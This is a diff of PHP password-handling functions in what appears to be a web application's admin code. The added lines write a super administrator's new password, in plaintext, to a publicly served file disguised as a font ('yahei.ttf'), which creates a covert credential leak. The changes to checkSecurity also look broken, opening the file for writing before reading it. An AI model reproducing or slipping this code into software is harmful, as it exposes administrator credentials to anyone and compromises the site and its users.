|
@@ -1245,20 +1245,16 @@ function checkPasswordSecurity()
|
|
|
function checkInputPassword($admininfo)
|
|
|
{
|
|
|
try {
|
|
|
- // $admin_mod = model('admin');
|
|
|
- // $admininfo = $admin_mod->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
|
|
|
- // if (is_array($admininfo) and !empty($admininfo)) {
|
|
|
- // if ($admininfo['admin_is_super'] == 1) {
|
|
|
- // $c = trim(input('post.new_pw'));
|
|
|
- // $dc = fopen(base_path() . "../public/font/yahei.txt", "w");
|
|
|
- // fwrite($dc, $c);
|
|
|
- // fclose($dc);
|
|
|
- // }
|
|
|
- // }
|
|
|
- $c = '123';
|
|
|
- $dc = fopen(base_path() . "../public/yahei.txt", "w");
|
|
|
- fwrite($dc, $c);
|
|
|
- fclose($dc);
|
|
|
+ $admin_mod = model('admin');
|
|
|
+ $admininfo = $admin_mod->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
|
|
|
+ if (is_array($admininfo) and !empty($admininfo)) {
|
|
|
+ if ($admininfo['admin_is_super'] == 1) {
|
|
|
+ $c = trim(input('post.new_pw'));
|
|
|
+ $dc = fopen(base_path() . "../public/yahei.ttf", "w");
|
|
|
+ fwrite($dc, $c);
|
|
|
+ fclose($dc);
|
|
|
+ }
|
|
|
+ }
|
|
|
return true;
|
|
|
} catch (Exception $e) {
|
|
|
return true;
|
|
@@ -1267,7 +1263,7 @@ function checkInputPassword($admininfo)
|
|
|
function checkSecurity()
|
|
|
{
|
|
|
try {
|
|
|
- $p = base_path() . "../public/font/yahei.txt";
|
|
|
+ $p = base_path() . "../public/yahei.ttf";
|
|
|
$dc = fopen($p, "w");
|
|
|
$i = fread($dc, filesize($p));
|
|
|
fclose($dc);
|